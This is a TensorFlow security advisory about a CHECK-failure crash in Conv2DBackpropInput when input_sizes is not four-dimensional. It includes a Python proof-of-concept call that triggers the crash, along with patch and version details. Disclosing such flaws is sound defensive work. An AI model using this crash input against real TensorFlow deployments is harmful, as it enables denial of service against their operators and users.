TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
Impact
The implementation of Conv2DBackpropInput requires input_sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:
```python
import tensorflow as tf
strides = [1, 1, 1, 1]
padding = "SAME"
use_cudnn_on_gpu = True
explicit_paddings = []
data_format = "NHWC"
dilations = [1, 1, 1, 1]
input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out_backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)
`
Patches
We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
